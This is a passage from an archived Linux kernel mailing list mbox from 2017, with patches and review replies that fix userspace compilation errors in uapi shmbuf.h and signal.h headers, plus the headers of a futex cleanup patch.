@@ -1,6 +1,8 @@
 #ifndef _ASM_POWERPC_SHMBUF_H
 #define _ASM_POWERPC_SHMBUF_H
 
+#include <asm/ipcbuf.h>
+
 /*
  * This program is free software; you can redistribute it and/or
  * modify it under the terms of the GNU General Public License
diff --git a/arch/s390/include/uapi/asm/shmbuf.h b/arch/s390/include/uapi/asm/shmbuf.h
index eed2e28..9ce1d9f 100644
--- a/arch/s390/include/uapi/asm/shmbuf.h
+++ b/arch/s390/include/uapi/asm/shmbuf.h
@@ -1,6 +1,8 @@
 #ifndef _S390_SHMBUF_H
 #define _S390_SHMBUF_H
 
+#include <asm/ipcbuf.h>
+
 /* 
  * The shmid64_ds structure for S/390 architecture.
  * Note extra padding because this structure is passed back and forth
diff --git a/arch/sparc/include/uapi/asm/shmbuf.h b/arch/sparc/include/uapi/asm/shmbuf.h
index 83a1605..f651952 100644
--- a/arch/sparc/include/uapi/asm/shmbuf.h
+++ b/arch/sparc/include/uapi/asm/shmbuf.h
@@ -1,6 +1,8 @@
 #ifndef _SPARC_SHMBUF_H
 #define _SPARC_SHMBUF_H
 
+#include <asm/ipcbuf.h>
+
 /* 
  * The shmid64_ds structure for sparc architecture.
  * Note extra padding because this structure is passed back and forth
diff --git a/arch/xtensa/include/uapi/asm/shmbuf.h b/arch/xtensa/include/uapi/asm/shmbuf.h
index ad4b012..ad90d05 100644
--- a/arch/xtensa/include/uapi/asm/shmbuf.h
+++ b/arch/xtensa/include/uapi/asm/shmbuf.h
@@ -19,6 +19,8 @@
 #ifndef _XTENSA_SHMBUF_H
 #define _XTENSA_SHMBUF_H
 
+#include <asm/ipcbuf.h>
+
 #if defined (__XTENSA_EL__)
 struct shmid64_ds {
 	struct ipc64_perm	shm_perm;	/* operation perms */
-- 
ldv



From - Thu Nov 08 21:39:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Arnd Bergmann <arnd@arndb.de>
Newsgroups: gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.ports.alpha,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.kernel
Subject: Re: [PATCH 3/3] uapi: fix asm/shmbuf.h userspace compilation errors
Date: Thu, 2 Mar 2017 14:14:59 +0100
Lines: 50
Approved: news@gmane.org
Message-ID: <CAK8P3a1_QLguZ6XEGC9TdGUmF0R3bKaU2EiJ6m+Gf=KpYnmqqw@mail.gmail.com>
References: <CAK8P3a3Ptm68i43BT5+kWptDw1koPwexpuFwH3-1naj_xi+arQ@mail.gmail.com>
 <20170302002253.GC27132@altlinux.org>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: blaine.gmane.org 1488460523 13432 195.159.176.226 (2 Mar 2017 13:15:23 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 2 Mar 2017 13:15:23 +0000 (UTC)
Cc: Haavard Skinnemoen <hskinnemoen@gmail.com>,
        Hans-Christian Egtvedt <egtvedt@samfundet.no>,
        Tony Luck <tony.luck@intel.com>,
        Fenghua Yu <fenghua.yu@intel.com>,
        Ralf Baechle <ralf@linux-mips.org>,
        David Howells <dhowells@redhat.com>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Benjamin Herrenschmidt <benh@kernel.crashing.org>,
        Paul Mackerras <paulus@samba.org>,
        Michael Ellerman <mpe@ellerman.id.au>,
        Martin Schwidefsky <schwidefsky@de.ibm.com>,
        Heiko Carstens <heiko.carstens@de.ibm.com>,
        "David S. Miller" <davem@davemloft.net>,
        Chris Zankel <chris@zankel.net>,
        Max Filippov <jcmvbkbc@gmail.com>,
        linux-arch <linux-arch@vger.kernel.org>,
        linux-alpha@vger.kernel.org, linux-ia64@vger.kernel.org,
        linux-mips@linux-mips
To: "Dmitry V. Levin" <ldv@altlinux.org>
Original-X-From: sparclinux-owner@vger.kernel.org Thu Mar 02 14:15:13 2017
Return-path: <sparclinux-owner@vger.kernel.org>
Envelope-to: lnx-sparclinux@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <sparclinux-owner@vger.kernel.org>)
	id 1cjQZa-0002Ax-Af
	for lnx-sparclinux@m.gmane.org; Thu, 02 Mar 2017 14:15:10 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752855AbdCBNPP (ORCPT <rfc822;lnx-sparclinux@m.gmane.org>);
        Thu, 2 Mar 2017 08:15:15 -0500
Original-Received: from mail-oi0-f68.google.com ([209.85.218.68]:35612 "EHLO
        mail-oi0-f68.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1752749AbdCBNPB (ORCPT
        <rfc822;sparclinux@vger.kernel.org>); Thu, 2 Mar 2017 08:15:01 -0500
Original-Received: by mail-oi0-f68.google.com with SMTP id x195so1073779oia.2;
        Thu, 02 Mar 2017 05:15:00 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=mime-version:sender:in-reply-to:references:from:date:message-id
         :subject:to:cc;
        bh=LGfk9URCUF7TqADcIIjBxyusxwSZ+LkpE/A906F6xpQ=;
        b=ROO0SiMmHHG1uQaQg1H/NzmERr796ok6eDblG8NgPOLkgkD+MOyDEab9tBPv2vo8v7
         hS421i9A1KbIiM57uLE4qieZFymH9iXMqSonHJke9DDhCk39L4VpJ2bWtwgYWffWoTW+
         k0j7CK2UBW1j8XuPWMH4V1jzOdf7p34knlMO+o1WHjteIHcddWuU2vYILRIKPHjbiyX7
         1YqIV4Mf6EPN79m4/9X/NaPqq4ExzsJMM3/PpN9YtlnKxq71N1wGldYimB7avDjJq7Cg
         c7JN4qFpPAh8ytVgXI2LBK257sSF0lVRsHcIDyu7/gzZdw30deybBj+dW4t7FpYRKMyg
         ttGQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:mime-version:sender:in-reply-to:references:from
         :date:message-id:subject:to:cc;
        bh=LGfk9URCUF7TqADcIIjBxyusxwSZ+LkpE/A906F6xpQ=;
        b=rx+vFwvJE1L/b8bm2ic/3jsquiKIKZ+gp905gcp6ZhsgWV2aFWaVZxmovgw6WSPPTL
         q3bRfuuXMruMLcYTyf2dHQR7stVlvnG01mo5R0j3ALiSN6kogtFJK+srLCC3HrDP6Z8u
         Pz0DV9hzcnLkDsHKkhcOxVUofI68GNCravlJNvDSNkGgZaz+jpfgxc3NpnYCwNgqugds
         opadgtcKvHws1yUT7vsnGTV5o8tUxkmOpztowIdll3RyH1n9YcUFeo9PEWM6zGKIFiVm
         ZHHranLpbhhGSwF4l9h6j5Afi7P6pINTdsU1ef7nCiomL15h0+vQ6olDIGcoKoELCnCS
         uZyQ==
X-Gm-Message-State: AMke39n+if0T+5HIvaifyrCo4KKgW705F01BqfBlZfqC/Y5qttoCorspcAjAjg5kJ8sFy3McKctMKIZRQ122Ig==
X-Received: by 10.202.199.68 with SMTP id x65mr6791447oif.113.1488460499687;
 Thu, 02 Mar 2017 05:14:59 -0800 (PST)
Original-Received: by 10.157.6.42 with HTTP; Thu, 2 Mar 2017 05:14:59 -0800 (PST)
In-Reply-To: <20170302002253.GC27132@altlinux.org>
X-Google-Sender-Auth: 9AJt-q_goxW2p1xxqQU5Ji0Qc0s
Original-Sender: sparclinux-owner@vger.kernel.org
Precedence: bulk
List-ID: <sparclinux.vger.kernel.org>
X-Mailing-List: sparclinux@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.sparc:24663 gmane.linux.kernel.cross-arch:35317 gmane.linux.ports.alpha:4101 gmane.linux.ports.ia64:27668 gmane.linux.ports.mips.general:58162 gmane.linux.ports.parisc:27290 gmane.linux.ports.ppc64.devel:139150 gmane.linux.kernel:2421915
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.sparc/24663>

On Thu, Mar 2, 2017 at 1:22 AM, Dmitry V. Levin <ldv@altlinux.org> wrote:
> Include <asm/ipcbuf.h> to fix asm/shmbuf.h userspace compilation errors
> like this:
>
> /usr/include/asm-generic/shmbuf.h:26:20: error: field 'shm_perm' has incomplete type
>   struct ipc64_perm shm_perm; /* operation perms */
> /usr/include/asm-generic/shmbuf.h:28:2: error: unknown type name '__kernel_time_t'
>   __kernel_time_t  shm_atime; /* last attach time */
> /usr/include/asm-generic/shmbuf.h:32:2: error: unknown type name '__kernel_time_t'
>   __kernel_time_t  shm_dtime; /* last detach time */
> /usr/include/asm-generic/shmbuf.h:36:2: error: unknown type name '__kernel_time_t'
>   __kernel_time_t  shm_ctime; /* last change time */
> /usr/include/asm-generic/shmbuf.h:40:2: error: unknown type name '__kernel_pid_t'
>   __kernel_pid_t  shm_cpid; /* pid of creator */
> /usr/include/asm-generic/shmbuf.h:41:2: error: unknown type name '__kernel_pid_t'
>   __kernel_pid_t  shm_lpid; /* pid of last operator */
> /usr/include/asm-generic/shmbuf.h:42:2: error: unknown type name '__kernel_ulong_t'
>   __kernel_ulong_t shm_nattch; /* no. of current attaches */
> /usr/include/asm-generic/shmbuf.h:43:2: error: unknown type name '__kernel_ulong_t'
>   __kernel_ulong_t __unused4;
> /usr/include/asm-generic/shmbuf.h:44:2: error: unknown type name '__kernel_ulong_t'
>   __kernel_ulong_t __unused5;
> /usr/include/asm-generic/shmbuf.h:48:2: error: unknown type name '__kernel_ulong_t'
>   __kernel_ulong_t shmmax;
> /usr/include/asm-generic/shmbuf.h:49:2: error: unknown type name '__kernel_ulong_t'
>   __kernel_ulong_t shmmin;
> /usr/include/asm-generic/shmbuf.h:50:2: error: unknown type name '__kernel_ulong_t'
>   __kernel_ulong_t shmmni;
> /usr/include/asm-generic/shmbuf.h:51:2: error: unknown type name '__kernel_ulong_t'
>   __kernel_ulong_t shmseg;
> /usr/include/asm-generic/shmbuf.h:52:2: error: unknown type name '__kernel_ulong_t'
>   __kernel_ulong_t shmall;
> /usr/include/asm-generic/shmbuf.h:53:2: error: unknown type name '__kernel_ulong_t'
>   __kernel_ulong_t __unused1;
> /usr/include/asm-generic/shmbuf.h:54:2: error: unknown type name '__kernel_ulong_t'
>   __kernel_ulong_t __unused2;
> /usr/include/asm-generic/shmbuf.h:55:2: error: unknown type name '__kernel_ulong_t'
>   __kernel_ulong_t __unused3;
> /usr/include/asm-generic/shmbuf.h:56:2: error: unknown type name '__kernel_ulong_t'
>   __kernel_ulong_t __unused4;
>
> Signed-off-by: Dmitry V. Levin <ldv@altlinux.org>
> ---

Acked-by: Arnd Bergmann <arnd@arndb.de>
--
To unsubscribe from this list: send the line "unsubscribe sparclinux" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.mips.general,gmane.linux.kernel.cross-arch,gmane.linux.ports.alpha,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sparc,gmane.linux.kernel
Subject: Re: [PATCH] uapi: fix asm/signal.h userspace compilation errors
Date: Thu, 2 Mar 2017 10:22:18 -0500
Lines: 55
Approved: news@gmane.org
Message-ID: <CAE2sS1h9QNV+31GMSv8aahJYOb9hFtFp5Aj-yVOfg7cjBHr_kg@mail.gmail.com>
References: <20170226010156.GA28831@altlinux.org> <CAK8P3a0YX3RGAqWN0mwUJtBsqUX0C+QRtJLrT_UA=wX6Z+q0DA@mail.gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: blaine.gmane.org 1488468190 1713 195.159.176.226 (2 Mar 2017 15:23:10 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 2 Mar 2017 15:23:10 +0000 (UTC)
Cc: "Dmitry V. Levin" <ldv@altlinux.org>,
        Russell King <linux@armlinux.org.uk>,
        Haavard Skinnemoen <hskinnemoen@gmail.com>,
        Hans-Christian Egtvedt <egtvedt@samfundet.no>,
        Mikael Starvik <starvik@axis.com>,
        Jesper Nilsson <jesper.nilsson@axis.com>,
        Yoshinori Sato <ysato@users.sourceforge.jp>,
        Tony Luck <tony.luck@intel.com>,
        Fenghua Yu <fenghua.yu@intel.com>,
        Geert Uytterhoeven <geert@linux-m68k.org>,
        Ralf Baechle <ralf@linux-mips.org>,
        David Howells <dhowells@redhat.com>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Benjamin Herrenschmidt <benh@kernel.crashing.org>,
        Paul Mackerras <paulus@samba.org>,
        Michael Ellerman <mpe@ellerman.id.au>,
        Martin Schwidefsky <schwidefsky@de.ibm.com>,
        Heiko Carstens <heiko.carstens@
To: Arnd Bergmann <arnd@arndb.de>
Original-X-From: linux-mips-bounce@linux-mips.org Thu Mar 02 16:23:02 2017
Return-path: <linux-mips-bounce@linux-mips.org>
Envelope-to: sgi-linux-mips@gmane.org
Original-Received: from mxfilter-048034.atla03.us.yomura.com ([107.189.48.34])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-mips-bounce@linux-mips.org>)
	id 1cjSZD-0007YS-Cu
	for sgi-linux-mips@gmane.org; Thu, 02 Mar 2017 16:22:55 +0100
X-Yomura-MXScrub: 1.0
Original-Received: from cvs.linux-mips.org (unknown [148.251.95.138])
	by mxfilter-048034.atla03.us.yomura.com (Halon) with ESMTP
	id 1e9dbd7b-ff5c-11e6-b719-b499baa2b07a;
	Thu, 02 Mar 2017 15:22:59 +0000 (UTC)
Original-Received: from localhost.localdomain ([127.0.0.1]:60280 "EHLO
        eddie.linux-mips.org" rhost-flags-OK-OK-OK-FAIL)
        by eddie.linux-mips.org with ESMTP id S23993873AbdCBPW43y40H (ORCPT
        <rfc822;sgi-linux-mips@gmane.org>); Thu, 2 Mar 2017 16:22:56 +0100
Original-Received: with ECARTIS (v1.0.0; list linux-mips); Thu, 02 Mar 2017 16:22:39 +0100 (CET)
Original-Received: from mail-qk0-x241.google.com ([IPv6:2607:f8b0:400d:c09::241]:36135
        "EHLO mail-qk0-x241.google.com" rhost-flags-OK-OK-OK-OK)
        by eddie.linux-mips.org with ESMTP id S23993875AbdCBPWbvBGVH (ORCPT
        <rfc822;linux-mips@linux-mips.org>); Thu, 2 Mar 2017 16:22:31 +0100
Original-Received: by mail-qk0-x241.google.com with SMTP id m67so2186824qkf.3
        for <linux-mips@linux-mips.org>; Thu, 02 Mar 2017 07:22:31 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=systemhalted.org; s=google;
        h=mime-version:in-reply-to:references:from:date:message-id:subject:to
         :cc;
        bh=St39ZtXC5/gSSoYnYKjmCUDeytpC7lgfAzu8QnjPPYM=;
        b=W6P1nPLd7pNFJu3drM9W7o0Y6yv6k1vZpJNf4Uxlbuxb6JX28P/nkNSPwdTZh0XUX6
         yQBdj4UWa9t+RjLIsokz9V2a/lk3CXFUmAWxt6prU3mTSsf2EyGbXyZOXAXhCaqZQGnw
         QQ1wM2XBdfgxgrIilNqAN3xPk9wHAX0sRlz+o=
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:mime-version:in-reply-to:references:from:date
         :message-id:subject:to:cc;
        bh=St39ZtXC5/gSSoYnYKjmCUDeytpC7lgfAzu8QnjPPYM=;
        b=BVQ/QR+KfOrX0MPBbCDHvkVsmAYevK8jdtNrdnujEWXp7f2tN755DrOJR52kYZZDSw
         o0OO0wOUB9So3EKet0ALpAcfmBH/zHqDpFn1D4HQuIQrBnaQpFXfdAexpGoi1VwBToXc
         jCdV9p6yMFyS0lNpWusr6KsUAGb8KCmZwZvAmV74pnf6iXzYhUGuGHCHplKPSDqa23o+
         +K4ySGqUh7+mX6J7MdV5Wj3yBVd41ASI0FpsyZJlJiHxI1SO6NaoSNiRbCocazz43CCO
         389ozyFlyBd2gn6iwXb+bOKQvmrlkfsoGYBaXqzCyU1GGBZOsKq3YAK/l/0ftxXPIbP9
         WzBQ==
X-Gm-Message-State: AMke39lz6+K+UPbePvcFpl674LTxNXXw6pu9oGapzU5rQps/mzku4Ikou27DqyWJyVXjTU69cqdg2p2Z9L5QgA==
X-Received: by 10.55.104.138 with SMTP id d132mr17603761qkc.210.1488468139347;
 Thu, 02 Mar 2017 07:22:19 -0800 (PST)
Original-Received: by 10.237.61.167 with HTTP; Thu, 2 Mar 2017 07:22:18 -0800 (PST)
X-Originating-IP: [65.93.71.239]
In-Reply-To: <CAK8P3a0YX3RGAqWN0mwUJtBsqUX0C+QRtJLrT_UA=wX6Z+q0DA@mail.gmail.com>
X-archive-position: 57000
X-ecartis-version: Ecartis v1.0.0
Original-Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: carlos@systemhalted.org
Precedence: bulk
List-help: <mailto:ecartis@linux-mips.org?Subject=help>
List-unsubscribe: <mailto:ecartis@linux-mips.org?subject=unsubscribe%20linux-mips>
List-software: Ecartis version 1.0.0
List-Id: linux-mips <linux-mips.eddie.linux-mips.org>
X-List-ID: linux-mips <linux-mips.eddie.linux-mips.org>
List-subscribe: <mailto:ecartis@linux-mips.org?subject=subscribe%20linux-mips>
List-owner: <mailto:ralf@linux-mips.org>
List-post: <mailto:linux-mips@linux-mips.org>
List-archive: <http://www.linux-mips.org/archives/linux-mips/>
X-list: linux-mips
Xref: news.gmane.org gmane.linux.ports.mips.general:58163 gmane.linux.kernel.cross-arch:35324 gmane.linux.ports.alpha:4102 gmane.linux.ports.arm.kernel:562195 gmane.linux.ports.ia64:27669 gmane.linux.ports.parisc:27291 gmane.linux.ports.ppc64.devel:139152 gmane.linux.ports.sparc:24664 gmane.linux.kernel:2422053
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.mips.general/58163>

On Wed, Mar 1, 2017 at 11:20 AM, Arnd Bergmann <arnd@arndb.de> wrote:
> On Sun, Feb 26, 2017 at 2:01 AM, Dmitry V. Levin <ldv@altlinux.org> wrote:
>> Include <stddef.h> (guarded by #ifndef __KERNEL__) to fix asm/signal.h
>> userspace compilation errors like this:
>>
>> /usr/include/asm/signal.h:126:2: error: unknown type name 'size_t'
>>   size_t ss_size;
>>
>> As no uapi header provides a definition of size_t, inclusion
>> of <stddef.h> seems to be the most conservative fix available.
>>
>> On the kernel side size_t is typedef'ed to __kernel_size_t, so
>> an alternative fix would be to change the type of sigaltstack.ss_size
>> from size_t to __kernel_size_t for all architectures except those where
>> sizeof(size_t) < sizeof(__kernel_size_t), namely, x32 and mips n32.
>>
>> On x32 and mips n32, however, #include <stddef.h> seems to be the most
>> straightforward way to obtain the definition for sigaltstack.ss_size's
>> type.
>>
>> Signed-off-by: Dmitry V. Levin <ldv@altlinux.org>
>
> I'm not sure if this is the best fix. We generally should not include one
> standard header from another standard header. Would it be possible
> to use __kernel_size_t instead of size_t?

In glibc we handle this with special use of __need_size_t with GCC's
provided stddef.h.

For example glibc's signal.h does this:

# define __need_size_t
# include <stddef.h>

And...

/* Any one of these symbols __need_* means that GNU libc
   wants us just to define one data type.  So don't define
   the symbols that indicate this file's entire job has been done.  */
#if (!defined(__need_wchar_t) && !defined(__need_size_t)        \
     && !defined(__need_ptrdiff_t) && !defined(__need_NULL)     \
     && !defined(__need_wint_t))

The idea being that the type you want is really defined by stddef.h,
but you just one the one type.

Changing the fundamental type causes the issues you see in patch v2
where sizeof(size_t) < sizeof(__kernel_size_t).

It will only lead to problem substituting the wrong type.

Cheers,
Carlos.



From - Thu Nov 08 21:39:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: "Dmitry V. Levin" <ldv@altlinux.org>
Newsgroups: gmane.linux.ports.mips.general,gmane.linux.kernel.cross-arch,gmane.linux.ports.alpha,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sparc,gmane.linux.kernel
Subject: Re: [PATCH] uapi: fix asm/signal.h userspace compilation errors
Date: Thu, 2 Mar 2017 18:48:45 +0300
Lines: 73
Approved: news@gmane.org
Message-ID: <20170302154845.GB3503@altlinux.org>
References: <20170226010156.GA28831@altlinux.org> <CAK8P3a0YX3RGAqWN0mwUJtBsqUX0C+QRtJLrT_UA=wX6Z+q0DA@mail.gmail.com> <CAE2sS1h9QNV+31GMSv8aahJYOb9hFtFp5Aj-yVOfg7cjBHr_kg@mail.gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=x-unknown;
        protocol="application/pgp-signature"; boundary="BwCQnh7xodEAoBMC"
X-Trace: blaine.gmane.org 1488469769 32432 195.159.176.226 (2 Mar 2017 15:49:29 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 2 Mar 2017 15:49:29 +0000 (UTC)
Cc: Arnd Bergmann <arnd@arndb.de>,
        Russell King <linux@armlinux.org.uk>,
        Haavard Skinnemoen <hskinnemoen@gmail.com>,
        Hans-Christian Egtvedt <egtvedt@samfundet.no>,
        Mikael Starvik <starvik@axis.com>,
        Jesper Nilsson <jesper.nilsson@axis.com>,
        Yoshinori Sato <ysato@users.sourceforge.jp>,
        Tony Luck <tony.luck@intel.com>,
        Fenghua Yu <fenghua.yu@intel.com>,
        Geert Uytterhoeven <geert@linux-m68k.org>,
        Ralf Baechle <ralf@linux-mips.org>,
        David Howells <dhowells@redhat.com>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Benjamin Herrenschmidt <benh@kernel.crashing.org>,
        Paul Mackerras <paulus@samba.org>,
        Michael Ellerman <mpe@ellerman.id.au>,
        Martin Schwidefsky <schwidefsky@de.ibm.com>,
        Heiko Carstens <heiko.carstens@de.ibm.
To: Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: linux-mips-bounce@linux-mips.org Thu Mar 02 16:49:21 2017
Return-path: <linux-mips-bounce@linux-mips.org>
Envelope-to: sgi-linux-mips@gmane.org
Original-Received: from mxfilter-048034.atla03.us.yomura.com ([107.189.48.34])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-mips-bounce@linux-mips.org>)
	id 1cjSyi-0007QJ-Es
	for sgi-linux-mips@gmane.org; Thu, 02 Mar 2017 16:49:16 +0100
X-Yomura-MXScrub: 1.0
Original-Received: from cvs.linux-mips.org (unknown [148.251.95.138])
	by mxfilter-048034.atla03.us.yomura.com (Halon) with ESMTP
	id cd1558ff-ff5f-11e6-b719-b499baa2b07a;
	Thu, 02 Mar 2017 15:49:21 +0000 (UTC)
Original-Received: from localhost.localdomain ([127.0.0.1]:33160 "EHLO
        eddie.linux-mips.org" rhost-flags-OK-OK-OK-FAIL)
        by eddie.linux-mips.org with ESMTP id S23993877AbdCBPtSZ0ime (ORCPT
        <rfc822;sgi-linux-mips@gmane.org>); Thu, 2 Mar 2017 16:49:18 +0100
Original-Received: with ECARTIS (v1.0.0; list linux-mips); Thu, 02 Mar 2017 16:48:58 +0100 (CET)
Original-Received: from vmicros1.altlinux.org ([194.107.17.57]:47798 "EHLO
        vmicros1.altlinux.org" rhost-flags-OK-OK-OK-OK)
        by eddie.linux-mips.org with ESMTP id S23993875AbdCBPsv7VKne (ORCPT
        <rfc822;linux-mips@linux-mips.org>); Thu, 2 Mar 2017 16:48:51 +0100
Original-Received: from mua.local.altlinux.org (mua.local.altlinux.org [192.168.1.14])
        by vmicros1.altlinux.org (Postfix) with ESMTP id A6B1F72D9B5;
        Thu,  2 Mar 2017 18:48:45 +0300 (MSK)
Original-Received: by mua.local.altlinux.org (Postfix, from userid 508)
        id 972817CCB42; Thu,  2 Mar 2017 18:48:45 +0300 (MSK)
Content-Disposition: inline
In-Reply-To: <CAE2sS1h9QNV+31GMSv8aahJYOb9hFtFp5Aj-yVOfg7cjBHr_kg@mail.gmail.com>
X-archive-position: 57002
X-ecartis-version: Ecartis v1.0.0
Original-Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: ldv@altlinux.org
Precedence: bulk
List-help: <mailto:ecartis@linux-mips.org?Subject=help>
List-unsubscribe: <mailto:ecartis@linux-mips.org?subject=unsubscribe%20linux-mips>
List-software: Ecartis version 1.0.0
List-Id: linux-mips <linux-mips.eddie.linux-mips.org>
X-List-ID: linux-mips <linux-mips.eddie.linux-mips.org>
List-subscribe: <mailto:ecartis@linux-mips.org?subject=subscribe%20linux-mips>
List-owner: <mailto:ralf@linux-mips.org>
List-post: <mailto:linux-mips@linux-mips.org>
List-archive: <http://www.linux-mips.org/archives/linux-mips/>
X-list: linux-mips
Xref: news.gmane.org gmane.linux.ports.mips.general:58165 gmane.linux.kernel.cross-arch:35325 gmane.linux.ports.alpha:4103 gmane.linux.ports.arm.kernel:562214 gmane.linux.ports.ia64:27670 gmane.linux.ports.parisc:27292 gmane.linux.ports.ppc64.devel:139154 gmane.linux.ports.sparc:24665 gmane.linux.kernel:2422114
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.mips.general/58165>


--BwCQnh7xodEAoBMC
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

On Thu, Mar 02, 2017 at 10:22:18AM -0500, Carlos O'Donell wrote:
> On Wed, Mar 1, 2017 at 11:20 AM, Arnd Bergmann <arnd@arndb.de> wrote:
> > On Sun, Feb 26, 2017 at 2:01 AM, Dmitry V. Levin <ldv@altlinux.org> wro=
te:
> >> Include <stddef.h> (guarded by #ifndef __KERNEL__) to fix asm/signal.h
> >> userspace compilation errors like this:
> >>
> >> /usr/include/asm/signal.h:126:2: error: unknown type name 'size_t'
> >>   size_t ss_size;
> >>
> >> As no uapi header provides a definition of size_t, inclusion
> >> of <stddef.h> seems to be the most conservative fix available.
[...]
> > I'm not sure if this is the best fix. We generally should not include o=
ne
> > standard header from another standard header. Would it be possible
> > to use __kernel_size_t instead of size_t?
>=20
> In glibc we handle this with special use of __need_size_t with GCC's
> provided stddef.h.
>=20
> For example glibc's signal.h does this:
>=20
> # define __need_size_t
> # include <stddef.h>

Just to make it clear, do you suggest this approach for asm/signal.h as wel=
l?

[...]
> Changing the fundamental type causes the issues you see in patch v2
> where sizeof(size_t) < sizeof(__kernel_size_t).
>=20
> It will only lead to problem substituting the wrong type.

I don't see any appetite for creating more ABIs like x32 with
sizeof(size_t) < sizeof(__kernel_size_t), so v2 approach
is not going to be any different from v1 in maintenance.


--=20
ldv

--BwCQnh7xodEAoBMC
Content-Type: application/pgp-signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----

iQIcBAEBCAAGBQJYuD7dAAoJEAVFT+BVnCUIun8QAIu2KR6DO6sDdAmLkPIEycqY
ZpD4t47B0iHa7P8alfr3RIhu36O4Py9o/VByWQTxs/BTGOcUnQWczMjQr7shKtHW
47qjSZTv23e17hae1Z6WOuFPn3uFU4EBun66kkuUqdZ4sFx40x/ODjXohG6GUxxd
clVZ694NPDFWCU00LZlowh+JIkoxeL0PpdiLkCJzFC/i0/CuKXU5pmWH+5z5/UlL
tNusg5EVA6bPi+toK/IWe/s/dUMIat1GLdqh9Qx0D5BfvNHHE9fK4DlcnEorISZt
fUs4TokqUP84mhzsoNQPVVdCyFeQiusc4YYNMO8T52G4ghgFJoJ627uA69pRdEzN
FVetUUPwFIZ/Z2NU8rfjJLXr0oWhelm+UnGITslKHFEr9lXnvEbE2odfExZo+O18
XFIvc+g3hZ9s5DOU8Oe37TgpiDlaUbBVFtj0CuHWVNJsx9iDzZS5n8NKEABjaaej
npWjXcOYAW4mMpQCOb3pMmij0ALU0Pd4iKU3a9utISonwPzoyAhTZcEud7EOCK+h
JrFlLSBp3pRX5gno+6sb0BkhgyXTpdqcmuqmLH4kYp2PesfJs54hzNK/WMXGNT4i
waAbG6eD4BKNBX1d3VjfmfoKUnr1MxGu3Z/kHRabE11pRTuTug7Vv8cvk6Mr6EuJ
oqIAlHG3dRVMHy3ZauCa
=5bs6
-----END PGP SIGNATURE-----

--BwCQnh7xodEAoBMC--



From - Thu Nov 08 21:39:39 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Jiri Slaby <jslaby@suse.cz>
Newsgroups: gmane.linux.ports.mips.general,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch
Subject: [PATCH 1/3] futex: remove duplicated code
Date: Fri,  3 Mar 2017 13:27:10 +0100
Lines: 1174
Approved: news@gmane.org
Message-ID: <20170303122712.13353-1-jslaby@suse.cz>
NNTP-Posting-Host: blaine.gmane.org
